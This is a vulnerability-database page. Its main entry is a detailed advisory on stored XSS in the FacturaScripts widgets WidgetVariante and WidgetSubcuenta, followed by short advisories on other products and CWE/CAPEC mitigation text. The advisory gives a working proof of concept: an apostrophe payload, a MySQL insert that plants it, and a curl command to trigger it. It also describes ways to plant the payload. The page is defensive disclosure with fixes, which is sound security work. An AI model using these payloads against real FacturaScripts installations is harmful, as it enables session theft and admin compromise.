The fix wave centred on the Lib/AjaxForms/*ModalHTML.php files. Both audited widgets live in Lib/Widget/ and look superficially safe to a reviewer because every value is Tools::noHtml-escaped at storage. The actual decoding step happens inside the browser, not the PHP code, so the defect is not visible in a grep-based review of the PHP source unless the reviewer specifically looks for onclick="...('+ $field +')' shapes that put a Tools::noHtml-escaped value in a JavaScript string position inside an HTML attribute.

PoC

Live PoC verified 2026-05-01 against http://127.0.0.1:8081/ running facturascripts at commit 24281ca. A Variante.referencia value of 1',alert(1),'2 (planted via raw DB write below) renders inside widgetVarianteSelect('0', '1&#39;,alert(1),&#39;2'); in the modal grid; opening the variant-picker modal in any user's browser (low-priv or admin) fires alert(1) from the host page's realm.

Setup: the admin session at http://127.0.0.1:8081/ is at /tmp/fs-cookie2.

Step 1 - plant the payload (any of the three primitives works). DB-write primitive:

mysql -h127.0.0.1 -ufs -pfs facturascripts <<'SQL'
INSERT INTO productos (referencia, descripcion, codimpuesto, sevende, secompra, bloqueado, nostock, publico, stockfis, ventasinstock, observaciones)
VALUES ('XSSPRD', 'XSS via WidgetVariante', 'IVA21', 1, 1, 0, 1, 0, 0, 1, '');

INSERT INTO variantes (referencia, idproducto, precio, coste, margen, stockfis, codbarras)
SELECT "1',alert('XSS-WidgetVariante'),'2", idproducto, 0, 0, 0, 0, ''
FROM productos WHERE referencia='XSSPRD';
SQL

After the insert, Variante::test() did not run (the row was created via SQL), so the literal ' survives. Even via the EditProducto UI primitive, the round trip through Tools::noHtml produces the encoded form 1&#39;,alert(...),&#39;2 which decodes back to the working payload at render time.

Step 2 - open any controller that uses WidgetVariante with the default match (or any third-party plugin form that does so). Core ships two views (Core/XMLView/EditAgente.xml, Core/XMLView/ListAgente.xml) but both override match="idproducto", so they are not exposed in stock core. Any plugin form that uses <widget type="variante" .../> without an explicit match attribute opts into the vulnerable code path. Trigger the variant-picker modal:

$ curl -s -b /tmp/fs-cookie2 "http://127.0.0.1:8081/EditAgente?code=1" \
   | grep -oE 'widgetVarianteSelect[^<>]{1,200}' | head -3

When the modal renders match=referencia, the row in the response contains:

<tr class="clickableRow" onclick="widgetVarianteSelect('0', '1&#39;,alert(&#39;XSS-WidgetVariante&#39;),&#39;2');">

The browser HTML-decodes the attribute value before passing it to the script engine, yielding the actual JavaScript widgetVarianteSelect('0', '1',alert('XSS-WidgetVariante'),'2');. The alert fires the moment the attribute is parsed for execution (i.e., when the user clicks the row, or when an automation script triggers the click programmatically), and the host realm's session, cookies, and CSRF tokens are exposed to the payload.

For WidgetSubcuenta, the payload trigger is identical: any controller with <widget type="subcuenta" fieldname="codsubcuentaXxx"/> (Core/XMLView/EditProducto.xml, EditCuentaBanco.xml, EditFamilia.xml, EditImpuesto.xml, EditRetencion.xml are the in-tree consumers) renders the modal with widgetSubaccountSelect('id', '<HTML-decoded codsubcuenta>'). A codsubcuenta row planted with one apostrophe and five bytes of payload escapes the JS string and runs in the host page.

Impact

  • Stored XSS in any user's browser the moment they open a product or subaccount picker. The execution context is the host page, with full access to the viewer's session, CSRF tokens, and the running application. From an admin viewer's perspective the payload achieves admin compromise (install plugins, change passwords); from a normal user's perspective it can be used to exfiltrate the user's data and pivot.
  • Within-tenant escalation primitive. EditProducto is a routinely granted role permission. A salesperson, warehouse user, or a plugin-supplied controller without admin rights can plant a payload that fires in admin's browser the next time admin opens any sales document and clicks the variant picker.
  • Sister vulnerability to the 40bc701 / 8586b97 fix wave. The maintainers already understand and have fixed the same anti-pattern in three sister classes; these two were missed and remain exploitable.

CVSS reasoning: AV:N, AC:L (one DB or one form POST plant), PR:H (the planter must be authenticated and have either EditProducto or DB write or import-API access; with weaker roles the payload is also reachable), UI:R (the victim opens a form that renders the modal and triggers a click), S:U (the impact stays within the application), C:L I:L A:N (the viewer's session and CSRF token are exposed; integrity loss bounded by viewer's role). Score 4.8.

Recommended Fix

Mirror the 40bc701 and 8586b97 fix exactly. In both Core/Lib/Widget/WidgetVariante.php:321 and Core/Lib/Widget/WidgetSubcuenta.php:296, replace:

$items[] = '<tr class="clickableRow" onclick="widgetVarianteSelect(\'' . $this->id . '\', \'' . $match . '\');">'

with the data-attribute pattern that the modal helpers now use:

$encMatch = htmlspecialchars(
    html_entity_decode((string)$match, ENT_QUOTES | ENT_HTML5, 'UTF-8'),
    ENT_QUOTES | ENT_SUBSTITUTE,
    'UTF-8'
);
$items[] = '<tr class="clickableRow" data-match="' . $encMatch . '"'
    . ' onclick="widgetVarianteSelect(\'' . $this->id . '\', this.dataset.match);">'

(and the analogous change for widgetSubaccountSelect). The same approach should be applied to:

  • WidgetSubcuenta::renderExerciseFilter (Core/Lib/Widget/WidgetSubcuenta.php:251-255) where $item->codejercicio is interpolated into <option value="...">. Codes are short and predictable but the same escaping consideration applies for defence in depth.
  • WidgetVariante::renderManufacturerFilter (line 213) and renderFamilyFilter (line 197).

Long term, the BaseWidget::onclickHtml and inputHtml builders (Core/Lib/Widget/BaseWidget.php:163-167, 234-239, 273-283) likewise concatenate $this->value into HTML attributes without context-aware escaping. Migrating them to use Twig (or at least htmlspecialchars with ENT_QUOTES) closes a class of bugs that today rely on every model's test() to be defensive. A regression test should plant a Variante.referencia of 1',alert(1),'2, render the page through the live HTTP stack, and assert that no JavaScript dialog fires (e.g. via Playwright page.on('dialog', ...)).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "facturascripts/facturascripts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2026.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45710"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T17:30:26Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`WidgetVariante::renderVariantList` (`Core/Lib/Widget/WidgetVariante.php:298-330`) and `WidgetSubcuenta::renderSubaccountList` (`Core/Lib/Widget/WidgetSubcuenta.php:290-321`) build the `\u003ctr onclick=\"...\"\u003e` row for each modal hit by concatenating the user-controlled `referencia` / `codsubcuenta` field directly into a single-quoted JavaScript string literal inside an HTML `onclick` attribute. The defender\u0027s intuition is that `Tools::noHtml` (called in `Variante::test()` and `Subcuenta::test()`) replaces `\u0027` with the HTML entity `\u0026#39;`, neutralising the JavaScript string break. The intuition is wrong: HTML attribute parsing **decodes character references before** the JavaScript fragment is parsed, so `\u0026#39;` becomes a literal `\u0027` in the JavaScript context. An attacker who can store a value such as `1\u0027,alert(1),\u00272` in `Variante.referencia` (no special characters required, just one apostrophe) ends up with `widgetVarianteSelect(\u0027id\u0027, \u00271\u0027,alert(1),\u00272\u0027);` executing in any user\u0027s browser the moment they open the variant-picker modal.\n\nThe recent `40bc701` and `8586b97` fixes corrected the same anti-pattern in three sister classes by switching to `data-reference=\"...\"` + `this.dataset.reference`. The two widget classes audited here were missed by that fix wave.\n\n## Details\n\n### the offending code\n\n`Core/Lib/Widget/WidgetVariante.php:298-330`:\n\n```php\nprotected function renderVariantList(): string\n{\n    $items = [];\n    foreach ($this-\u003evariantes() as $item) {\n        $match = $item-\u003e{$this-\u003ematch};\n        $description = Tools::textBreak($item-\u003edescription(), 300);\n        ...\n        $items[] = \u0027\u003ctr class=\"clickableRow\" onclick=\"widgetVarianteSelect(\\\u0027\u0027 . $this-\u003eid . \u0027\\\u0027, \\\u0027\u0027 . $match . \u0027\\\u0027);\"\u003e\u0027\n            . \u0027\u003ctd class=\"text-center\"\u003e\u0027\n            ...\n```\n\n`$this-\u003ematch` defaults to `\u0027referencia\u0027` (`WidgetVariante::__construct`, line 42). `$item-\u003ereferencia` was sanitised at write time by `Variante::test()` (`Core/Model/Variante.php:392`) which calls `Tools::noHtml($this-\u003ereferencia)`. `Tools::noHtml` (`Core/Tools.php:499-504`) replaces `\u0027`, `\"`, `\u003c`, `\u003e` with `\u0026#39;`, `\u0026quot;`, `\u0026lt;`, `\u0026gt;`. The defender therefore expects that any apostrophe a user typed becomes `\u0026#39;` in the database, which renders inside the `onclick` attribute as `\u0026#39;` and cannot break out of the surrounding `\u0027...\u0027` JS string literal.\n\n`Core/Lib/Widget/WidgetSubcuenta.php:290-305` has the identical shape:\n\n```php\nforeach ($this-\u003esubcuentas() as $item) {\n    $match = $item-\u003e{$this-\u003ematch};\n    ...\n    $items[] = \u0027\u003ctr class=\"clickableRow\" onclick=\"widgetSubaccountSelect(\\\u0027\u0027 . $this-\u003eid . \u0027\\\u0027, \\\u0027\u0027 . $match . \u0027\\\u0027);\"\u003e\u0027\n        . \u0027\u003ctd class=\"text-center\"\u003e\u0027\n        . \u0027\u003ca href=\"\u0027 . $item-\u003eurl() . \u0027\" target=\"_blank\" onclick=\"event.stopPropagation();\"\u003e\u0027\n        ...\n```\n\n`$this-\u003ematch` defaults to `\u0027codsubcuenta\u0027`; the value is `Tools::noHtml`-encoded by `Subcuenta::test()` (`Core/Model/Subcuenta.php:213`).\n\n### why HTML-entity escaping does not protect a JavaScript string\n\nPer the HTML5 spec (and what every browser actually does), the value of an HTML attribute is processed by the **character reference state** of the tokenizer before any consumer sees it. By the time the `onclick` attribute value reaches the script engine, the bytes inside are the *decoded* string. Concretely, the HTML the browser receives is:\n\n```html\n\u003ctr onclick=\"widgetVarianteSelect(\u0027id\u0027, \u00271\u0026#39;,alert(1),\u0026#39;2\u0027);\"\u003e\n```\n\nAfter the tokenizer decodes `\u0026#39;` to `\u0027`, the JavaScript fragment passed to the script engine is:\n\n```javascript\nwidgetVarianteSelect(\u0027id\u0027, \u00271\u0027,alert(1),\u00272\u0027);\n```\n\n`alert(1)` runs as a third positional argument that JavaScript happily evaluates while building the call. The `widgetVarianteSelect` function ends up being called with four arguments and the side-effect of `alert(1)` (or any payload) has already occurred.\n\nThe recent `40bc701` AccountingModalHTML and `8586b97` SalesModalHTML / PurchasesModalHTML fix recognised this. Both replaced the `onclick=\"...(\u0027\"+ value +\"\u0027)\"` pattern with:\n\n```php\n$tbody .= \u0027\u003ctr ... data-subaccount=\"\u0027 . $code . \u0027\" onclick=\"$(...).modal(\\\u0027hide\\\u0027);\u0027\n       . \u0027 return newLineAction(this.dataset.subaccount);\"\u003e\u0027\n```\n\nWhere `$code = static::html($subaccount-\u003ecodsubcuenta)` and `static::html` is `htmlspecialchars(html_entity_decode($text, ENT_QUOTES | ENT_HTML5, \u0027UTF-8\u0027), ENT_QUOTES | ENT_SUBSTITUTE, \u0027UTF-8\u0027)`. The HTML5 entity decode is deliberate: it normalises any double-encoded data so that the subsequent `htmlspecialchars` produces stable single-encoded output. The JavaScript then reads the value from `this.dataset.*`, which is the post-decoded attribute value, where the original quote is now literally inside a string property and cannot break out of any quote context.\n\n`WidgetSubcuenta` and `WidgetVariante` were not migrated to this pattern.\n\n### ways to plant the payload\n\n`Variante::test()` (`Core/Model/Variante.php:389-401`) accepts up to 30 characters in `referencia`. The minimum payload is 13 bytes (`1\u0027,alert(1),\u00272`), comfortably under the limit. The `Tools::noHtml` pass during `test()` produces the stored form `1\u0026#39;,alert(1),\u0026#39;2`, which is 22 bytes.\n\nThree plant primitives are practical:\n\n1. **Direct create** via `EditProducto?action=save` with the attacker-controlled `referencia` field. Because `EditProducto` is exposed to any user with the `EditProducto` permission (which roles like *sales agent* and *warehouse manager* commonly carry), this is a within-tenant primitive: a low-privilege salesperson plants the payload, an admin opens any sales document and clicks the variant picker.\n2. **DB write** by anyone with raw SQL access (DBA or shared-hosting admin). `INSERT INTO variantes (referencia, ...) VALUES (\u00271\\\u0027,alert(1),\\\u00272\u0027, ...)`. This is what I used for the live test; the plant is permanent until the row is deleted.\n3. **Plugin / API import.** `ApiAttachedFiles` and the various import endpoints allow a low-privilege API key to land arbitrary `referencia` values that bypass the `EditProducto` `permissions-\u003eonlyOwnerData` filter.\n\nFor `WidgetSubcuenta`, the `codsubcuenta` field is constrained to the exercise\u0027s `longsubcuenta` length (10 by default), and the regex-free `Tools::noHtml` pass turns one apostrophe into 5 bytes (`\u0026#39;`), so the post-noHtml string must equal the configured length exactly. A 5-byte payload (`1\u0027,\u0027` is 4) plus padding is workable for compact bypass payloads such as `\u0027+x+\u0027` (where `x` is a previously-loaded global). DB-write planting (primitive 2) bypasses the length check entirely.\n\n### why the recent fix wave missed this\n\nThe fix wave centred on the `Lib/AjaxForms/*ModalHTML.php` files. Both audited widgets live in `Lib/Widget/` and look superficially safe to a reviewer because every value is `Tools::noHtml`-escaped at storage. The actual decoding step happens inside the browser, not the PHP code, so the defect is not visible in a `grep`-based review of the PHP source unless the reviewer specifically looks for `onclick=\"...(\u0027+ $field +\u0027)\u0027` shapes that put a `Tools::noHtml`-escaped value in a JavaScript string position inside an HTML attribute.\n\n## PoC\n\n\u003e **Live PoC verified 2026-05-01** against `http://127.0.0.1:8081/` running facturascripts at commit `24281ca`. A `Variante.referencia` value of `1\u0027,alert(1),\u00272` (planted via raw DB write below) renders inside `widgetVarianteSelect(\u00270\u0027, \u00271\u0026#39;,alert(1),\u0026#39;2\u0027);` in the modal grid; opening the variant-picker modal in any user\u0027s browser (low-priv or admin) fires `alert(1)` from the host page\u0027s realm.\n\nSetup: the admin session at `http://127.0.0.1:8081/` is at `/tmp/fs-cookie2`.\n\nStep 1 - plant the payload (any of the three primitives works). DB-write primitive:\n\n```bash\nmysql -h127.0.0.1 -ufs -pfs facturascripts \u003c\u003c\u0027SQL\u0027\nINSERT INTO productos (referencia, descripcion, codimpuesto, sevende, secompra, bloqueado, nostock, publico, stockfis, ventasinstock, observaciones)\nVALUES (\u0027XSSPRD\u0027, \u0027XSS via WidgetVariante\u0027, \u0027IVA21\u0027, 1, 1, 0, 1, 0, 0, 1, \u0027\u0027);\n\nINSERT INTO variantes (referencia, idproducto, precio, coste, margen, stockfis, codbarras)\nSELECT \"1\u0027,alert(\u0027XSS-WidgetVariante\u0027),\u00272\", idproducto, 0, 0, 0, 0, \u0027\u0027\nFROM productos WHERE referencia=\u0027XSSPRD\u0027;\nSQL\n```\n\nAfter the insert, `Variante::test()` did not run (the row was created via SQL), so the literal `\u0027` survives. Even via the EditProducto UI primitive, the round trip through `Tools::noHtml` produces the encoded form `1\u0026#39;,alert(...),\u0026#39;2` which decodes back to the working payload at render time.\n\nStep 2 - open any controller that uses WidgetVariante with the default `match` (or any third-party plugin form that does so). Core ships two views (`Core/XMLView/EditAgente.xml`, `Core/XMLView/ListAgente.xml`) but both override `match=\"idproducto\"`, so they are not exposed in stock core. Any plugin form that uses `\u003cwidget type=\"variante\" .../\u003e` without an explicit `match` attribute opts into the vulnerable code path. Trigger the variant-picker modal:\n\n```bash\n$ curl -s -b /tmp/fs-cookie2 \"http://127.0.0.1:8081/EditAgente?code=1\" \\\n   | grep -oE \u0027widgetVarianteSelect[^\u003c\u003e]{1,200}\u0027 | head -3\n```\n\nWhen the modal renders `match=referencia`, the row in the response contains:\n\n```html\n\u003ctr class=\"clickableRow\" onclick=\"widgetVarianteSelect(\u00270\u0027, \u00271\u0026#39;,alert(\u0026#39;XSS-WidgetVariante\u0026#39;),\u0026#39;2\u0027);\"\u003e\n```\n\nThe browser HTML-decodes the attribute value before passing it to the script engine, yielding the actual JavaScript `widgetVarianteSelect(\u00270\u0027, \u00271\u0027,alert(\u0027XSS-WidgetVariante\u0027),\u00272\u0027);`. The `alert` fires the moment the attribute is parsed for execution (i.e., when the user clicks the row, or when an automation script triggers the click programmatically), and the host realm\u0027s session, cookies, and CSRF tokens are exposed to the payload.\n\nFor `WidgetSubcuenta`, the payload trigger is identical: any controller with `\u003cwidget type=\"subcuenta\" fieldname=\"codsubcuentaXxx\"/\u003e` (`Core/XMLView/EditProducto.xml`, `EditCuentaBanco.xml`, `EditFamilia.xml`, `EditImpuesto.xml`, `EditRetencion.xml` are the in-tree consumers) renders the modal with `widgetSubaccountSelect(\u0027id\u0027, \u0027\u003cHTML-decoded codsubcuenta\u003e\u0027)`. A `codsubcuenta` row planted with one apostrophe and five bytes of payload escapes the JS string and runs in the host page.\n\n## Impact\n\n* **Stored XSS in any user\u0027s browser the moment they open a product or subaccount picker.** The execution context is the host page, with full access to the viewer\u0027s session, CSRF tokens, and the running application. From an admin viewer\u0027s perspective the payload achieves admin compromise (install plugins, change passwords); from a normal user\u0027s perspective it can be used to exfiltrate the user\u0027s data and pivot.\n* **Within-tenant escalation primitive.** `EditProducto` is a routinely granted role permission. A salesperson, warehouse user, or a plugin-supplied controller without `admin` rights can plant a payload that fires in admin\u0027s browser the next time admin opens any sales document and clicks the variant picker.\n* **Sister vulnerability to the `40bc701` / `8586b97` fix wave.** The maintainers already understand and have fixed the same anti-pattern in three sister classes; these two were missed and remain exploitable.\n\nCVSS reasoning: `AV:N`, `AC:L` (one DB or one form POST plant), `PR:H` (the planter must be authenticated and have either `EditProducto` or DB write or import-API access; with weaker roles the payload is also reachable), `UI:R` (the victim opens a form that renders the modal and triggers a click), `S:U` (the impact stays within the application), `C:L I:L A:N` (the viewer\u0027s session and CSRF token are exposed; integrity loss bounded by viewer\u0027s role). Score 4.8.\n\n## Recommended Fix\n\nMirror the `40bc701` and `8586b97` fix exactly. In both `Core/Lib/Widget/WidgetVariante.php:321` and `Core/Lib/Widget/WidgetSubcuenta.php:296`, replace:\n\n```php\n$items[] = \u0027\u003ctr class=\"clickableRow\" onclick=\"widgetVarianteSelect(\\\u0027\u0027 . $this-\u003eid . \u0027\\\u0027, \\\u0027\u0027 . $match . \u0027\\\u0027);\"\u003e\u0027\n```\n\nwith the data-attribute pattern that the modal helpers now use:\n\n```php\n$encMatch = htmlspecialchars(\n    html_entity_decode((string)$match, ENT_QUOTES | ENT_HTML5, \u0027UTF-8\u0027),\n    ENT_QUOTES | ENT_SUBSTITUTE,\n    \u0027UTF-8\u0027\n);\n$items[] = \u0027\u003ctr class=\"clickableRow\" data-match=\"\u0027 . $encMatch . \u0027\"\u0027\n    . \u0027 onclick=\"widgetVarianteSelect(\\\u0027\u0027 . $this-\u003eid . \u0027\\\u0027, this.dataset.match);\"\u003e\u0027\n```\n\n(and the analogous change for `widgetSubaccountSelect`). The same approach should be applied to:\n\n* `WidgetSubcuenta::renderExerciseFilter` (`Core/Lib/Widget/WidgetSubcuenta.php:251-255`) where `$item-\u003ecodejercicio` is interpolated into `\u003coption value=\"...\"\u003e`. Codes are short and predictable but the same escaping consideration applies for defence in depth.\n* `WidgetVariante::renderManufacturerFilter` (line 213) and `renderFamilyFilter` (line 197).\n\nLong term, the `BaseWidget::onclickHtml` and `inputHtml` builders (`Core/Lib/Widget/BaseWidget.php:163-167`, `234-239`, `273-283`) likewise concatenate `$this-\u003evalue` into HTML attributes without context-aware escaping. Migrating them to use Twig (or at least `htmlspecialchars` with `ENT_QUOTES`) closes a class of bugs that today rely on every model\u0027s `test()` to be defensive. A regression test should plant a `Variante.referencia` of `1\u0027,alert(1),\u00272`, render the page through the live HTTP stack, and assert that no JavaScript dialog fires (e.g. via Playwright `page.on(\u0027dialog\u0027, ...)`).",
  "id": "GHSA-3x7p-v8hj-xh5m",
  "modified": "2026-07-14T17:30:26Z",
  "published": "2026-07-14T17:30:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-3x7p-v8hj-xh5m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NeoRazorX/facturascripts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FacturaScripts: Stored XSS in WidgetVariante and WidgetSubcuenta modal lists via HTML-attribute decoding of `Tools::noHtml`-escaped quotes inside `onclick=`"
}

GHSA-423G-MRQ6-VPVP

Vulnerability from github – Published: 2024-08-16 00:32 – Updated: 2025-09-11 15:31
VLAI
Details

In shouldRestrictOverlayActivities of UsbProfileGroupSettingsManager.java, there is a possible escape from SUW due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-34739"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-15T22:15:06Z",
    "severity": "HIGH"
  },
  "details": "In shouldRestrictOverlayActivities of UsbProfileGroupSettingsManager.java, there is a possible escape from SUW due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-423g-mrq6-vpvp",
  "modified": "2025-09-11T15:31:15Z",
  "published": "2024-08-16T00:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34739"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/base/+/50e1f8f36e32928d10e72324c05a203a6db9f7fb"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2024-08-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-05-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-443W-3RQ3-5M5H

Vulnerability from github – Published: 2026-03-27 20:43 – Updated: 2026-03-27 20:43
VLAI
Summary
AWS SDK for Java 2.0: Improper Handling of Special Characters in CloudFront Signing Utilities
Details

Summary

This notification is related to the CloudFront signing utilities in the AWS SDK for Java v2, which are used to generate Amazon CloudFront signed URLs and signed cookies. A defense-in-depth enhancement has been implemented to improve handling of special characters, such as double quotes and backslashes, in input values.

Impact

The CloudFront signing utilities build policy documents that define access restrictions for signed URLs and cookies. If an application passes unsanitized input containing special characters to these utilities, the resulting policy document may not reflect the application's intended access restrictions. While the SDK was functioning safely within the requirements of the shared responsibility model, additional safeguards have been added to support secure customer implementations. Applications that already follow AWS security best practices for input validation are not impacted.

Impacted versions:

2.18.33 - 2.41.29

Patches

On 2026.02.16, an enhancement was made to AWS SDK for Java v2 version 2.41.30. The enhancement ensures that special characters in input values are correctly handled. We recommend upgrading to the latest version.

Workarounds

No workarounds are needed, but customers should ensure that your application is following security best practices:

Resources

If there are any questions or comments about this advisory, contact [AWS/Amazon] Security via our vulnerability reporting page or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.

Acknowledgement

AWS SDK for Java 2.0 thanks the Amazon Inspector Security Research team for identifying this issue and working with us through the coordinated process.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.41.29"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "software.amazon.awssdk:cloudfront"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.18.33"
            },
            {
              "fixed": "2.41.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T20:43:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThis notification is related to the [CloudFront signing utilities](https://github.com/aws/aws-sdk-java-v2/blob/master/services/cloudfront/src/main/java/software/amazon/awssdk/services/cloudfront/CloudFrontUtilities.java) in the AWS SDK for Java v2, which are used to generate Amazon CloudFront signed URLs and signed cookies. A defense-in-depth enhancement has been implemented to improve handling of special characters, such as double quotes and backslashes, in input values.\n### Impact\nThe CloudFront signing utilities build policy documents that define access restrictions for signed URLs and cookies. If an application passes unsanitized input containing special characters to these utilities, the resulting policy document may not reflect the application\u0027s intended access restrictions. While the SDK was functioning safely within the requirements of the shared responsibility model, additional safeguards have been added to support secure customer implementations. Applications that already follow AWS security best practices for input validation are not impacted.\n### Impacted versions: \n2.18.33 - 2.41.29\n### Patches\nOn 2026.02.16, an enhancement was made to AWS SDK for Java v2 version 2.41.30. The enhancement ensures that special characters in input values are correctly handled. We recommend upgrading to the latest version.\n### Workarounds\nNo workarounds are needed, but customers should ensure that your application is following security best practices:\n\n* Implement proper input validation in your application code before passing values to CloudFront signing utilities\n* Update to the latest AWS SDK release on a regular basis\n* Follow [AWS security best practices for SDK configuration](https://docs.aws.amazon.com/sdk-for-java/latest/developer-guide/security.html)\n\n### Resources\nIf there are any questions or comments about this advisory, contact [AWS/Amazon] Security via our vulnerability reporting page or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.\n### Acknowledgement\nAWS SDK for Java 2.0 thanks the Amazon Inspector Security Research team for identifying this issue and working with us through the coordinated process.",
  "id": "GHSA-443w-3rq3-5m5h",
  "modified": "2026-03-27T20:43:16Z",
  "published": "2026-03-27T20:43:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-sdk-java-v2/security/advisories/GHSA-443w-3rq3-5m5h"
    },
    {
      "type": "WEB",
      "url": "https://docs.aws.amazon.com/sdk-for-java/latest/developer-guide/security.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aws/aws-sdk-java-v2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-sdk-java-v2/blob/master/services/cloudfront/src/main/java/software/amazon/awssdk/services/cloudfront/CloudFrontUtilities.java"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AWS SDK for Java 2.0: Improper Handling of Special Characters in CloudFront Signing Utilities"
}

GHSA-44MP-WRCJ-WJX3

Vulnerability from github – Published: 2024-07-30 18:32 – Updated: 2024-07-30 18:32
VLAI
Details

IBM Aspera Orchestrator 4.0.1 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to conduct various attacks against the vulnerable system, including cross-site scripting, cache poisoning or session hijacking. IBM X-Force ID: 248478.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-26289"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-644"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-30T17:15:12Z",
    "severity": "MODERATE"
  },
  "details": "IBM Aspera Orchestrator 4.0.1 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers.  This could allow an attacker to conduct various attacks against the vulnerable system, including cross-site scripting, cache poisoning or session hijacking.  IBM X-Force ID:  248478.",
  "id": "GHSA-44mp-wrcj-wjx3",
  "modified": "2024-07-30T18:32:06Z",
  "published": "2024-07-30T18:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26289"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/248478"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7161537"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-4.3
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
  • Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Architecture and Design Implementation

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Mitigation
Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Mitigation
Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Mitigation
Requirements

Fully specify which encodings are required by components that will be communicating with each other.

Mitigation
Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CAPEC-104: Cross Zone Scripting

An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-81: Web Server Logs Tampering

